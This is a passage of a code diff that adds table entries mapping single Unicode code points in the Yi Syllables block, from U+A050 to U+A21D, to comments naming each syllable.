+ [0xa050, 0xa050], /* YI SYLLABLE PYT */
+ [0xa051, 0xa051], /* YI SYLLABLE PYX */
+ [0xa052, 0xa052], /* YI SYLLABLE PY */
+ [0xa053, 0xa053], /* YI SYLLABLE PYP */
+ [0xa054, 0xa054], /* YI SYLLABLE PYRX */
+ [0xa055, 0xa055], /* YI SYLLABLE PYR */
+ [0xa056, 0xa056], /* YI SYLLABLE BBIT */
+ [0xa057, 0xa057], /* YI SYLLABLE BBIX */
+ [0xa058, 0xa058], /* YI SYLLABLE BBI */
+ [0xa059, 0xa059], /* YI SYLLABLE BBIP */
+ [0xa05a, 0xa05a], /* YI SYLLABLE BBIET */
+ [0xa05b, 0xa05b], /* YI SYLLABLE BBIEX */
+ [0xa05c, 0xa05c], /* YI SYLLABLE BBIE */
+ [0xa05d, 0xa05d], /* YI SYLLABLE BBIEP */
+ [0xa05e, 0xa05e], /* YI SYLLABLE BBAT */
+ [0xa05f, 0xa05f], /* YI SYLLABLE BBAX */
+ [0xa060, 0xa060], /* YI SYLLABLE BBA */
+ [0xa061, 0xa061], /* YI SYLLABLE BBAP */
+ [0xa062, 0xa062], /* YI SYLLABLE BBUOX */
+ [0xa063, 0xa063], /* YI SYLLABLE BBUO */
+ [0xa064, 0xa064], /* YI SYLLABLE BBUOP */
+ [0xa065, 0xa065], /* YI SYLLABLE BBOT */
+ [0xa066, 0xa066], /* YI SYLLABLE BBOX */
+ [0xa067, 0xa067], /* YI SYLLABLE BBO */
+ [0xa068, 0xa068], /* YI SYLLABLE BBOP */
+ [0xa069, 0xa069], /* YI SYLLABLE BBEX */
+ [0xa06a, 0xa06a], /* YI SYLLABLE BBE */
+ [0xa06b, 0xa06b], /* YI SYLLABLE BBEP */
+ [0xa06c, 0xa06c], /* YI SYLLABLE BBUT */
+ [0xa06d, 0xa06d], /* YI SYLLABLE BBUX */
+ [0xa06e, 0xa06e], /* YI SYLLABLE BBU */
+ [0xa06f, 0xa06f], /* YI SYLLABLE BBUP */
+ [0xa070, 0xa070], /* YI SYLLABLE BBURX */
+ [0xa071, 0xa071], /* YI SYLLABLE BBUR */
+ [0xa072, 0xa072], /* YI SYLLABLE BBYT */
+ [0xa073, 0xa073], /* YI SYLLABLE BBYX */
+ [0xa074, 0xa074], /* YI SYLLABLE BBY */
+ [0xa075, 0xa075], /* YI SYLLABLE BBYP */
+ [0xa076, 0xa076], /* YI SYLLABLE NBIT */
+ [0xa077, 0xa077], /* YI SYLLABLE NBIX */
+ [0xa078, 0xa078], /* YI SYLLABLE NBI */
+ [0xa079, 0xa079], /* YI SYLLABLE NBIP */
+ [0xa07a, 0xa07a], /* YI SYLLABLE NBIEX */
+ [0xa07b, 0xa07b], /* YI SYLLABLE NBIE */
+ [0xa07c, 0xa07c], /* YI SYLLABLE NBIEP */
+ [0xa07d, 0xa07d], /* YI SYLLABLE NBAT */
+ [0xa07e, 0xa07e], /* YI SYLLABLE NBAX */
+ [0xa07f, 0xa07f], /* YI SYLLABLE NBA */
+ [0xa080, 0xa080], /* YI SYLLABLE NBAP */
+ [0xa081, 0xa081], /* YI SYLLABLE NBOT */
+ [0xa082, 0xa082], /* YI SYLLABLE NBOX */
+ [0xa083, 0xa083], /* YI SYLLABLE NBO */
+ [0xa084, 0xa084], /* YI SYLLABLE NBOP */
+ [0xa085, 0xa085], /* YI SYLLABLE NBUT */
+ [0xa086, 0xa086], /* YI SYLLABLE NBUX */
+ [0xa087, 0xa087], /* YI SYLLABLE NBU */
+ [0xa088, 0xa088], /* YI SYLLABLE NBUP */
+ [0xa089, 0xa089], /* YI SYLLABLE NBURX */
+ [0xa08a, 0xa08a], /* YI SYLLABLE NBUR */
+ [0xa08b, 0xa08b], /* YI SYLLABLE NBYT */
+ [0xa08c, 0xa08c], /* YI SYLLABLE NBYX */
+ [0xa08d, 0xa08d], /* YI SYLLABLE NBY */
+ [0xa08e, 0xa08e], /* YI SYLLABLE NBYP */
+ [0xa08f, 0xa08f], /* YI SYLLABLE NBYRX */
+ [0xa090, 0xa090], /* YI SYLLABLE NBYR */
+ [0xa091, 0xa091], /* YI SYLLABLE HMIT */
+ [0xa092, 0xa092], /* YI SYLLABLE HMIX */
+ [0xa093, 0xa093], /* YI SYLLABLE HMI */
+ [0xa094, 0xa094], /* YI SYLLABLE HMIP */
+ [0xa095, 0xa095], /* YI SYLLABLE HMIEX */
+ [0xa096, 0xa096], /* YI SYLLABLE HMIE */
+ [0xa097, 0xa097], /* YI SYLLABLE HMIEP */
+ [0xa098, 0xa098], /* YI SYLLABLE HMAT */
+ [0xa099, 0xa099], /* YI SYLLABLE HMAX */
+ [0xa09a, 0xa09a], /* YI SYLLABLE HMA */
+ [0xa09b, 0xa09b], /* YI SYLLABLE HMAP */
+ [0xa09c, 0xa09c], /* YI SYLLABLE HMUOX */
+ [0xa09d, 0xa09d], /* YI SYLLABLE HMUO */
+ [0xa09e, 0xa09e], /* YI SYLLABLE HMUOP */
+ [0xa09f, 0xa09f], /* YI SYLLABLE HMOT */
+ [0xa0a0, 0xa0a0], /* YI SYLLABLE HMOX */
+ [0xa0a1, 0xa0a1], /* YI SYLLABLE HMO */
+ [0xa0a2, 0xa0a2], /* YI SYLLABLE HMOP */
+ [0xa0a3, 0xa0a3], /* YI SYLLABLE HMUT */
+ [0xa0a4, 0xa0a4], /* YI SYLLABLE HMUX */
+ [0xa0a5, 0xa0a5], /* YI SYLLABLE HMU */
+ [0xa0a6, 0xa0a6], /* YI SYLLABLE HMUP */
+ [0xa0a7, 0xa0a7], /* YI SYLLABLE HMURX */
+ [0xa0a8, 0xa0a8], /* YI SYLLABLE HMUR */
+ [0xa0a9, 0xa0a9], /* YI SYLLABLE HMYX */
+ [0xa0aa, 0xa0aa], /* YI SYLLABLE HMY */
+ [0xa0ab, 0xa0ab], /* YI SYLLABLE HMYP */
+ [0xa0ac, 0xa0ac], /* YI SYLLABLE HMYRX */
+ [0xa0ad, 0xa0ad], /* YI SYLLABLE HMYR */
+ [0xa0ae, 0xa0ae], /* YI SYLLABLE MIT */
+ [0xa0af, 0xa0af], /* YI SYLLABLE MIX */
+ [0xa0b0, 0xa0b0], /* YI SYLLABLE MI */
+ [0xa0b1, 0xa0b1], /* YI SYLLABLE MIP */
+ [0xa0b2, 0xa0b2], /* YI SYLLABLE MIEX */
+ [0xa0b3, 0xa0b3], /* YI SYLLABLE MIE */
+ [0xa0b4, 0xa0b4], /* YI SYLLABLE MIEP */
+ [0xa0b5, 0xa0b5], /* YI SYLLABLE MAT */
+ [0xa0b6, 0xa0b6], /* YI SYLLABLE MAX */
+ [0xa0b7, 0xa0b7], /* YI SYLLABLE MA */
+ [0xa0b8, 0xa0b8], /* YI SYLLABLE MAP */
+ [0xa0b9, 0xa0b9], /* YI SYLLABLE MUOT */
+ [0xa0ba, 0xa0ba], /* YI SYLLABLE MUOX */
+ [0xa0bb, 0xa0bb], /* YI SYLLABLE MUO */
+ [0xa0bc, 0xa0bc], /* YI SYLLABLE MUOP */
+ [0xa0bd, 0xa0bd], /* YI SYLLABLE MOT */
+ [0xa0be, 0xa0be], /* YI SYLLABLE MOX */
+ [0xa0bf, 0xa0bf], /* YI SYLLABLE MO */
+ [0xa0c0, 0xa0c0], /* YI SYLLABLE MOP */
+ [0xa0c1, 0xa0c1], /* YI SYLLABLE MEX */
+ [0xa0c2, 0xa0c2], /* YI SYLLABLE ME */
+ [0xa0c3, 0xa0c3], /* YI SYLLABLE MUT */
+ [0xa0c4, 0xa0c4], /* YI SYLLABLE MUX */
+ [0xa0c5, 0xa0c5], /* YI SYLLABLE MU */
+ [0xa0c6, 0xa0c6], /* YI SYLLABLE MUP */
+ [0xa0c7, 0xa0c7], /* YI SYLLABLE MURX */
+ [0xa0c8, 0xa0c8], /* YI SYLLABLE MUR */
+ [0xa0c9, 0xa0c9], /* YI SYLLABLE MYT */
+ [0xa0ca, 0xa0ca], /* YI SYLLABLE MYX */
+ [0xa0cb, 0xa0cb], /* YI SYLLABLE MY */
+ [0xa0cc, 0xa0cc], /* YI SYLLABLE MYP */
+ [0xa0cd, 0xa0cd], /* YI SYLLABLE FIT */
+ [0xa0ce, 0xa0ce], /* YI SYLLABLE FIX */
+ [0xa0cf, 0xa0cf], /* YI SYLLABLE FI */
+ [0xa0d0, 0xa0d0], /* YI SYLLABLE FIP */
+ [0xa0d1, 0xa0d1], /* YI SYLLABLE FAT */
+ [0xa0d2, 0xa0d2], /* YI SYLLABLE FAX */
+ [0xa0d3, 0xa0d3], /* YI SYLLABLE FA */
+ [0xa0d4, 0xa0d4], /* YI SYLLABLE FAP */
+ [0xa0d5, 0xa0d5], /* YI SYLLABLE FOX */
+ [0xa0d6, 0xa0d6], /* YI SYLLABLE FO */
+ [0xa0d7, 0xa0d7], /* YI SYLLABLE FOP */
+ [0xa0d8, 0xa0d8], /* YI SYLLABLE FUT */
+ [0xa0d9, 0xa0d9], /* YI SYLLABLE FUX */
+ [0xa0da, 0xa0da], /* YI SYLLABLE FU */
+ [0xa0db, 0xa0db], /* YI SYLLABLE FUP */
+ [0xa0dc, 0xa0dc], /* YI SYLLABLE FURX */
+ [0xa0dd, 0xa0dd], /* YI SYLLABLE FUR */
+ [0xa0de, 0xa0de], /* YI SYLLABLE FYT */
+ [0xa0df, 0xa0df], /* YI SYLLABLE FYX */
+ [0xa0e0, 0xa0e0], /* YI SYLLABLE FY */
+ [0xa0e1, 0xa0e1], /* YI SYLLABLE FYP */
+ [0xa0e2, 0xa0e2], /* YI SYLLABLE VIT */
+ [0xa0e3, 0xa0e3], /* YI SYLLABLE VIX */
+ [0xa0e4, 0xa0e4], /* YI SYLLABLE VI */
+ [0xa0e5, 0xa0e5], /* YI SYLLABLE VIP */
+ [0xa0e6, 0xa0e6], /* YI SYLLABLE VIET */
+ [0xa0e7, 0xa0e7], /* YI SYLLABLE VIEX */
+ [0xa0e8, 0xa0e8], /* YI SYLLABLE VIE */
+ [0xa0e9, 0xa0e9], /* YI SYLLABLE VIEP */
+ [0xa0ea, 0xa0ea], /* YI SYLLABLE VAT */
+ [0xa0eb, 0xa0eb], /* YI SYLLABLE VAX */
+ [0xa0ec, 0xa0ec], /* YI SYLLABLE VA */
+ [0xa0ed, 0xa0ed], /* YI SYLLABLE VAP */
+ [0xa0ee, 0xa0ee], /* YI SYLLABLE VOT */
+ [0xa0ef, 0xa0ef], /* YI SYLLABLE VOX */
+ [0xa0f0, 0xa0f0], /* YI SYLLABLE VO */
+ [0xa0f1, 0xa0f1], /* YI SYLLABLE VOP */
+ [0xa0f2, 0xa0f2], /* YI SYLLABLE VEX */
+ [0xa0f3, 0xa0f3], /* YI SYLLABLE VEP */
+ [0xa0f4, 0xa0f4], /* YI SYLLABLE VUT */
+ [0xa0f5, 0xa0f5], /* YI SYLLABLE VUX */
+ [0xa0f6, 0xa0f6], /* YI SYLLABLE VU */
+ [0xa0f7, 0xa0f7], /* YI SYLLABLE VUP */
+ [0xa0f8, 0xa0f8], /* YI SYLLABLE VURX */
+ [0xa0f9, 0xa0f9], /* YI SYLLABLE VUR */
+ [0xa0fa, 0xa0fa], /* YI SYLLABLE VYT */
+ [0xa0fb, 0xa0fb], /* YI SYLLABLE VYX */
+ [0xa0fc, 0xa0fc], /* YI SYLLABLE VY */
+ [0xa0fd, 0xa0fd], /* YI SYLLABLE VYP */
+ [0xa0fe, 0xa0fe], /* YI SYLLABLE VYRX */
+ [0xa0ff, 0xa0ff], /* YI SYLLABLE VYR */
+ [0xa100, 0xa100], /* YI SYLLABLE DIT */
+ [0xa101, 0xa101], /* YI SYLLABLE DIX */
+ [0xa102, 0xa102], /* YI SYLLABLE DI */
+ [0xa103, 0xa103], /* YI SYLLABLE DIP */
+ [0xa104, 0xa104], /* YI SYLLABLE DIEX */
+ [0xa105, 0xa105], /* YI SYLLABLE DIE */
+ [0xa106, 0xa106], /* YI SYLLABLE DIEP */
+ [0xa107, 0xa107], /* YI SYLLABLE DAT */
+ [0xa108, 0xa108], /* YI SYLLABLE DAX */
+ [0xa109, 0xa109], /* YI SYLLABLE DA */
+ [0xa10a, 0xa10a], /* YI SYLLABLE DAP */
+ [0xa10b, 0xa10b], /* YI SYLLABLE DUOX */
+ [0xa10c, 0xa10c], /* YI SYLLABLE DUO */
+ [0xa10d, 0xa10d], /* YI SYLLABLE DOT */
+ [0xa10e, 0xa10e], /* YI SYLLABLE DOX */
+ [0xa10f, 0xa10f], /* YI SYLLABLE DO */
+ [0xa110, 0xa110], /* YI SYLLABLE DOP */
+ [0xa111, 0xa111], /* YI SYLLABLE DEX */
+ [0xa112, 0xa112], /* YI SYLLABLE DE */
+ [0xa113, 0xa113], /* YI SYLLABLE DEP */
+ [0xa114, 0xa114], /* YI SYLLABLE DUT */
+ [0xa115, 0xa115], /* YI SYLLABLE DUX */
+ [0xa116, 0xa116], /* YI SYLLABLE DU */
+ [0xa117, 0xa117], /* YI SYLLABLE DUP */
+ [0xa118, 0xa118], /* YI SYLLABLE DURX */
+ [0xa119, 0xa119], /* YI SYLLABLE DUR */
+ [0xa11a, 0xa11a], /* YI SYLLABLE TIT */
+ [0xa11b, 0xa11b], /* YI SYLLABLE TIX */
+ [0xa11c, 0xa11c], /* YI SYLLABLE TI */
+ [0xa11d, 0xa11d], /* YI SYLLABLE TIP */
+ [0xa11e, 0xa11e], /* YI SYLLABLE TIEX */
+ [0xa11f, 0xa11f], /* YI SYLLABLE TIE */
+ [0xa120, 0xa120], /* YI SYLLABLE TIEP */
+ [0xa121, 0xa121], /* YI SYLLABLE TAT */
+ [0xa122, 0xa122], /* YI SYLLABLE TAX */
+ [0xa123, 0xa123], /* YI SYLLABLE TA */
+ [0xa124, 0xa124], /* YI SYLLABLE TAP */
+ [0xa125, 0xa125], /* YI SYLLABLE TUOT */
+ [0xa126, 0xa126], /* YI SYLLABLE TUOX */
+ [0xa127, 0xa127], /* YI SYLLABLE TUO */
+ [0xa128, 0xa128], /* YI SYLLABLE TUOP */
+ [0xa129, 0xa129], /* YI SYLLABLE TOT */
+ [0xa12a, 0xa12a], /* YI SYLLABLE TOX */
+ [0xa12b, 0xa12b], /* YI SYLLABLE TO */
+ [0xa12c, 0xa12c], /* YI SYLLABLE TOP */
+ [0xa12d, 0xa12d], /* YI SYLLABLE TEX */
+ [0xa12e, 0xa12e], /* YI SYLLABLE TE */
+ [0xa12f, 0xa12f], /* YI SYLLABLE TEP */
+ [0xa130, 0xa130], /* YI SYLLABLE TUT */
+ [0xa131, 0xa131], /* YI SYLLABLE TUX */
+ [0xa132, 0xa132], /* YI SYLLABLE TU */
+ [0xa133, 0xa133], /* YI SYLLABLE TUP */
+ [0xa134, 0xa134], /* YI SYLLABLE TURX */
+ [0xa135, 0xa135], /* YI SYLLABLE TUR */
+ [0xa136, 0xa136], /* YI SYLLABLE DDIT */
+ [0xa137, 0xa137], /* YI SYLLABLE DDIX */
+ [0xa138, 0xa138], /* YI SYLLABLE DDI */
+ [0xa139, 0xa139], /* YI SYLLABLE DDIP */
+ [0xa13a, 0xa13a], /* YI SYLLABLE DDIEX */
+ [0xa13b, 0xa13b], /* YI SYLLABLE DDIE */
+ [0xa13c, 0xa13c], /* YI SYLLABLE DDIEP */
+ [0xa13d, 0xa13d], /* YI SYLLABLE DDAT */
+ [0xa13e, 0xa13e], /* YI SYLLABLE DDAX */
+ [0xa13f, 0xa13f], /* YI SYLLABLE DDA */
+ [0xa140, 0xa140], /* YI SYLLABLE DDAP */
+ [0xa141, 0xa141], /* YI SYLLABLE DDUOX */
+ [0xa142, 0xa142], /* YI SYLLABLE DDUO */
+ [0xa143, 0xa143], /* YI SYLLABLE DDUOP */
+ [0xa144, 0xa144], /* YI SYLLABLE DDOT */
+ [0xa145, 0xa145], /* YI SYLLABLE DDOX */
+ [0xa146, 0xa146], /* YI SYLLABLE DDO */
+ [0xa147, 0xa147], /* YI SYLLABLE DDOP */
+ [0xa148, 0xa148], /* YI SYLLABLE DDEX */
+ [0xa149, 0xa149], /* YI SYLLABLE DDE */
+ [0xa14a, 0xa14a], /* YI SYLLABLE DDEP */
+ [0xa14b, 0xa14b], /* YI SYLLABLE DDUT */
+ [0xa14c, 0xa14c], /* YI SYLLABLE DDUX */
+ [0xa14d, 0xa14d], /* YI SYLLABLE DDU */
+ [0xa14e, 0xa14e], /* YI SYLLABLE DDUP */
+ [0xa14f, 0xa14f], /* YI SYLLABLE DDURX */
+ [0xa150, 0xa150], /* YI SYLLABLE DDUR */
+ [0xa151, 0xa151], /* YI SYLLABLE NDIT */
+ [0xa152, 0xa152], /* YI SYLLABLE NDIX */
+ [0xa153, 0xa153], /* YI SYLLABLE NDI */
+ [0xa154, 0xa154], /* YI SYLLABLE NDIP */
+ [0xa155, 0xa155], /* YI SYLLABLE NDIEX */
+ [0xa156, 0xa156], /* YI SYLLABLE NDIE */
+ [0xa157, 0xa157], /* YI SYLLABLE NDAT */
+ [0xa158, 0xa158], /* YI SYLLABLE NDAX */
+ [0xa159, 0xa159], /* YI SYLLABLE NDA */
+ [0xa15a, 0xa15a], /* YI SYLLABLE NDAP */
+ [0xa15b, 0xa15b], /* YI SYLLABLE NDOT */
+ [0xa15c, 0xa15c], /* YI SYLLABLE NDOX */
+ [0xa15d, 0xa15d], /* YI SYLLABLE NDO */
+ [0xa15e, 0xa15e], /* YI SYLLABLE NDOP */
+ [0xa15f, 0xa15f], /* YI SYLLABLE NDEX */
+ [0xa160, 0xa160], /* YI SYLLABLE NDE */
+ [0xa161, 0xa161], /* YI SYLLABLE NDEP */
+ [0xa162, 0xa162], /* YI SYLLABLE NDUT */
+ [0xa163, 0xa163], /* YI SYLLABLE NDUX */
+ [0xa164, 0xa164], /* YI SYLLABLE NDU */
+ [0xa165, 0xa165], /* YI SYLLABLE NDUP */
+ [0xa166, 0xa166], /* YI SYLLABLE NDURX */
+ [0xa167, 0xa167], /* YI SYLLABLE NDUR */
+ [0xa168, 0xa168], /* YI SYLLABLE HNIT */
+ [0xa169, 0xa169], /* YI SYLLABLE HNIX */
+ [0xa16a, 0xa16a], /* YI SYLLABLE HNI */
+ [0xa16b, 0xa16b], /* YI SYLLABLE HNIP */
+ [0xa16c, 0xa16c], /* YI SYLLABLE HNIET */
+ [0xa16d, 0xa16d], /* YI SYLLABLE HNIEX */
+ [0xa16e, 0xa16e], /* YI SYLLABLE HNIE */
+ [0xa16f, 0xa16f], /* YI SYLLABLE HNIEP */
+ [0xa170, 0xa170], /* YI SYLLABLE HNAT */
+ [0xa171, 0xa171], /* YI SYLLABLE HNAX */
+ [0xa172, 0xa172], /* YI SYLLABLE HNA */
+ [0xa173, 0xa173], /* YI SYLLABLE HNAP */
+ [0xa174, 0xa174], /* YI SYLLABLE HNUOX */
+ [0xa175, 0xa175], /* YI SYLLABLE HNUO */
+ [0xa176, 0xa176], /* YI SYLLABLE HNOT */
+ [0xa177, 0xa177], /* YI SYLLABLE HNOX */
+ [0xa178, 0xa178], /* YI SYLLABLE HNOP */
+ [0xa179, 0xa179], /* YI SYLLABLE HNEX */
+ [0xa17a, 0xa17a], /* YI SYLLABLE HNE */
+ [0xa17b, 0xa17b], /* YI SYLLABLE HNEP */
+ [0xa17c, 0xa17c], /* YI SYLLABLE HNUT */
+ [0xa17d, 0xa17d], /* YI SYLLABLE NIT */
+ [0xa17e, 0xa17e], /* YI SYLLABLE NIX */
+ [0xa17f, 0xa17f], /* YI SYLLABLE NI */
+ [0xa180, 0xa180], /* YI SYLLABLE NIP */
+ [0xa181, 0xa181], /* YI SYLLABLE NIEX */
+ [0xa182, 0xa182], /* YI SYLLABLE NIE */
+ [0xa183, 0xa183], /* YI SYLLABLE NIEP */
+ [0xa184, 0xa184], /* YI SYLLABLE NAX */
+ [0xa185, 0xa185], /* YI SYLLABLE NA */
+ [0xa186, 0xa186], /* YI SYLLABLE NAP */
+ [0xa187, 0xa187], /* YI SYLLABLE NUOX */
+ [0xa188, 0xa188], /* YI SYLLABLE NUO */
+ [0xa189, 0xa189], /* YI SYLLABLE NUOP */
+ [0xa18a, 0xa18a], /* YI SYLLABLE NOT */
+ [0xa18b, 0xa18b], /* YI SYLLABLE NOX */
+ [0xa18c, 0xa18c], /* YI SYLLABLE NO */
+ [0xa18d, 0xa18d], /* YI SYLLABLE NOP */
+ [0xa18e, 0xa18e], /* YI SYLLABLE NEX */
+ [0xa18f, 0xa18f], /* YI SYLLABLE NE */
+ [0xa190, 0xa190], /* YI SYLLABLE NEP */
+ [0xa191, 0xa191], /* YI SYLLABLE NUT */
+ [0xa192, 0xa192], /* YI SYLLABLE NUX */
+ [0xa193, 0xa193], /* YI SYLLABLE NU */
+ [0xa194, 0xa194], /* YI SYLLABLE NUP */
+ [0xa195, 0xa195], /* YI SYLLABLE NURX */
+ [0xa196, 0xa196], /* YI SYLLABLE NUR */
+ [0xa197, 0xa197], /* YI SYLLABLE HLIT */
+ [0xa198, 0xa198], /* YI SYLLABLE HLIX */
+ [0xa199, 0xa199], /* YI SYLLABLE HLI */
+ [0xa19a, 0xa19a], /* YI SYLLABLE HLIP */
+ [0xa19b, 0xa19b], /* YI SYLLABLE HLIEX */
+ [0xa19c, 0xa19c], /* YI SYLLABLE HLIE */
+ [0xa19d, 0xa19d], /* YI SYLLABLE HLIEP */
+ [0xa19e, 0xa19e], /* YI SYLLABLE HLAT */
+ [0xa19f, 0xa19f], /* YI SYLLABLE HLAX */
+ [0xa1a0, 0xa1a0], /* YI SYLLABLE HLA */
+ [0xa1a1, 0xa1a1], /* YI SYLLABLE HLAP */
+ [0xa1a2, 0xa1a2], /* YI SYLLABLE HLUOX */
+ [0xa1a3, 0xa1a3], /* YI SYLLABLE HLUO */
+ [0xa1a4, 0xa1a4], /* YI SYLLABLE HLUOP */
+ [0xa1a5, 0xa1a5], /* YI SYLLABLE HLOX */
+ [0xa1a6, 0xa1a6], /* YI SYLLABLE HLO */
+ [0xa1a7, 0xa1a7], /* YI SYLLABLE HLOP */
+ [0xa1a8, 0xa1a8], /* YI SYLLABLE HLEX */
+ [0xa1a9, 0xa1a9], /* YI SYLLABLE HLE */
+ [0xa1aa, 0xa1aa], /* YI SYLLABLE HLEP */
+ [0xa1ab, 0xa1ab], /* YI SYLLABLE HLUT */
+ [0xa1ac, 0xa1ac], /* YI SYLLABLE HLUX */
+ [0xa1ad, 0xa1ad], /* YI SYLLABLE HLU */
+ [0xa1ae, 0xa1ae], /* YI SYLLABLE HLUP */
+ [0xa1af, 0xa1af], /* YI SYLLABLE HLURX */
+ [0xa1b0, 0xa1b0], /* YI SYLLABLE HLUR */
+ [0xa1b1, 0xa1b1], /* YI SYLLABLE HLYT */
+ [0xa1b2, 0xa1b2], /* YI SYLLABLE HLYX */
+ [0xa1b3, 0xa1b3], /* YI SYLLABLE HLY */
+ [0xa1b4, 0xa1b4], /* YI SYLLABLE HLYP */
+ [0xa1b5, 0xa1b5], /* YI SYLLABLE HLYRX */
+ [0xa1b6, 0xa1b6], /* YI SYLLABLE HLYR */
+ [0xa1b7, 0xa1b7], /* YI SYLLABLE LIT */
+ [0xa1b8, 0xa1b8], /* YI SYLLABLE LIX */
+ [0xa1b9, 0xa1b9], /* YI SYLLABLE LI */
+ [0xa1ba, 0xa1ba], /* YI SYLLABLE LIP */
+ [0xa1bb, 0xa1bb], /* YI SYLLABLE LIET */
+ [0xa1bc, 0xa1bc], /* YI SYLLABLE LIEX */
+ [0xa1bd, 0xa1bd], /* YI SYLLABLE LIE */
+ [0xa1be, 0xa1be], /* YI SYLLABLE LIEP */
+ [0xa1bf, 0xa1bf], /* YI SYLLABLE LAT */
+ [0xa1c0, 0xa1c0], /* YI SYLLABLE LAX */
+ [0xa1c1, 0xa1c1], /* YI SYLLABLE LA */
+ [0xa1c2, 0xa1c2], /* YI SYLLABLE LAP */
+ [0xa1c3, 0xa1c3], /* YI SYLLABLE LUOT */
+ [0xa1c4, 0xa1c4], /* YI SYLLABLE LUOX */
+ [0xa1c5, 0xa1c5], /* YI SYLLABLE LUO */
+ [0xa1c6, 0xa1c6], /* YI SYLLABLE LUOP */
+ [0xa1c7, 0xa1c7], /* YI SYLLABLE LOT */
+ [0xa1c8, 0xa1c8], /* YI SYLLABLE LOX */
+ [0xa1c9, 0xa1c9], /* YI SYLLABLE LO */
+ [0xa1ca, 0xa1ca], /* YI SYLLABLE LOP */
+ [0xa1cb, 0xa1cb], /* YI SYLLABLE LEX */
+ [0xa1cc, 0xa1cc], /* YI SYLLABLE LE */
+ [0xa1cd, 0xa1cd], /* YI SYLLABLE LEP */
+ [0xa1ce, 0xa1ce], /* YI SYLLABLE LUT */
+ [0xa1cf, 0xa1cf], /* YI SYLLABLE LUX */
+ [0xa1d0, 0xa1d0], /* YI SYLLABLE LU */
+ [0xa1d1, 0xa1d1], /* YI SYLLABLE LUP */
+ [0xa1d2, 0xa1d2], /* YI SYLLABLE LURX */
+ [0xa1d3, 0xa1d3], /* YI SYLLABLE LUR */
+ [0xa1d4, 0xa1d4], /* YI SYLLABLE LYT */
+ [0xa1d5, 0xa1d5], /* YI SYLLABLE LYX */
+ [0xa1d6, 0xa1d6], /* YI SYLLABLE LY */
+ [0xa1d7, 0xa1d7], /* YI SYLLABLE LYP */
+ [0xa1d8, 0xa1d8], /* YI SYLLABLE LYRX */
+ [0xa1d9, 0xa1d9], /* YI SYLLABLE LYR */
+ [0xa1da, 0xa1da], /* YI SYLLABLE GIT */
+ [0xa1db, 0xa1db], /* YI SYLLABLE GIX */
+ [0xa1dc, 0xa1dc], /* YI SYLLABLE GI */
+ [0xa1dd, 0xa1dd], /* YI SYLLABLE GIP */
+ [0xa1de, 0xa1de], /* YI SYLLABLE GIET */
+ [0xa1df, 0xa1df], /* YI SYLLABLE GIEX */
+ [0xa1e0, 0xa1e0], /* YI SYLLABLE GIE */
+ [0xa1e1, 0xa1e1], /* YI SYLLABLE GIEP */
+ [0xa1e2, 0xa1e2], /* YI SYLLABLE GAT */
+ [0xa1e3, 0xa1e3], /* YI SYLLABLE GAX */
+ [0xa1e4, 0xa1e4], /* YI SYLLABLE GA */
+ [0xa1e5, 0xa1e5], /* YI SYLLABLE GAP */
+ [0xa1e6, 0xa1e6], /* YI SYLLABLE GUOT */
+ [0xa1e7, 0xa1e7], /* YI SYLLABLE GUOX */
+ [0xa1e8, 0xa1e8], /* YI SYLLABLE GUO */
+ [0xa1e9, 0xa1e9], /* YI SYLLABLE GUOP */
+ [0xa1ea, 0xa1ea], /* YI SYLLABLE GOT */
+ [0xa1eb, 0xa1eb], /* YI SYLLABLE GOX */
+ [0xa1ec, 0xa1ec], /* YI SYLLABLE GO */
+ [0xa1ed, 0xa1ed], /* YI SYLLABLE GOP */
+ [0xa1ee, 0xa1ee], /* YI SYLLABLE GET */
+ [0xa1ef, 0xa1ef], /* YI SYLLABLE GEX */
+ [0xa1f0, 0xa1f0], /* YI SYLLABLE GE */
+ [0xa1f1, 0xa1f1], /* YI SYLLABLE GEP */
+ [0xa1f2, 0xa1f2], /* YI SYLLABLE GUT */
+ [0xa1f3, 0xa1f3], /* YI SYLLABLE GUX */
+ [0xa1f4, 0xa1f4], /* YI SYLLABLE GU */
+ [0xa1f5, 0xa1f5], /* YI SYLLABLE GUP */
+ [0xa1f6, 0xa1f6], /* YI SYLLABLE GURX */
+ [0xa1f7, 0xa1f7], /* YI SYLLABLE GUR */
+ [0xa1f8, 0xa1f8], /* YI SYLLABLE KIT */
+ [0xa1f9, 0xa1f9], /* YI SYLLABLE KIX */
+ [0xa1fa, 0xa1fa], /* YI SYLLABLE KI */
+ [0xa1fb, 0xa1fb], /* YI SYLLABLE KIP */
+ [0xa1fc, 0xa1fc], /* YI SYLLABLE KIEX */
+ [0xa1fd, 0xa1fd], /* YI SYLLABLE KIE */
+ [0xa1fe, 0xa1fe], /* YI SYLLABLE KIEP */
+ [0xa1ff, 0xa1ff], /* YI SYLLABLE KAT */
+ [0xa200, 0xa200], /* YI SYLLABLE KAX */
+ [0xa201, 0xa201], /* YI SYLLABLE KA */
+ [0xa202, 0xa202], /* YI SYLLABLE KAP */
+ [0xa203, 0xa203], /* YI SYLLABLE KUOX */
+ [0xa204, 0xa204], /* YI SYLLABLE KUO */
+ [0xa205, 0xa205], /* YI SYLLABLE KUOP */
+ [0xa206, 0xa206], /* YI SYLLABLE KOT */
+ [0xa207, 0xa207], /* YI SYLLABLE KOX */
+ [0xa208, 0xa208], /* YI SYLLABLE KO */
+ [0xa209, 0xa209], /* YI SYLLABLE KOP */
+ [0xa20a, 0xa20a], /* YI SYLLABLE KET */
+ [0xa20b, 0xa20b], /* YI SYLLABLE KEX */
+ [0xa20c, 0xa20c], /* YI SYLLABLE KE */
+ [0xa20d, 0xa20d], /* YI SYLLABLE KEP */
+ [0xa20e, 0xa20e], /* YI SYLLABLE KUT */
+ [0xa20f, 0xa20f], /* YI SYLLABLE KUX */
+ [0xa210, 0xa210], /* YI SYLLABLE KU */
+ [0xa211, 0xa211], /* YI SYLLABLE KUP */
+ [0xa212, 0xa212], /* YI SYLLABLE KURX */
+ [0xa213, 0xa213], /* YI SYLLABLE KUR */
+ [0xa214, 0xa214], /* YI SYLLABLE GGIT */
+ [0xa215, 0xa215], /* YI SYLLABLE GGIX */
+ [0xa216, 0xa216], /* YI SYLLABLE GGI */
+ [0xa217, 0xa217], /* YI SYLLABLE GGIEX */
+ [0xa218, 0xa218], /* YI SYLLABLE GGIE */
+ [0xa219, 0xa219], /* YI SYLLABLE GGIEP */
+ [0xa21a, 0xa21a], /* YI SYLLABLE GGAT */
+ [0xa21b, 0xa21b], /* YI SYLLABLE GGAX */
+ [0xa21c, 0xa21c], /* YI SYLLABLE GGA */
+ [0xa21d, 0xa21d], /* YI SYLLABLE GGAP */
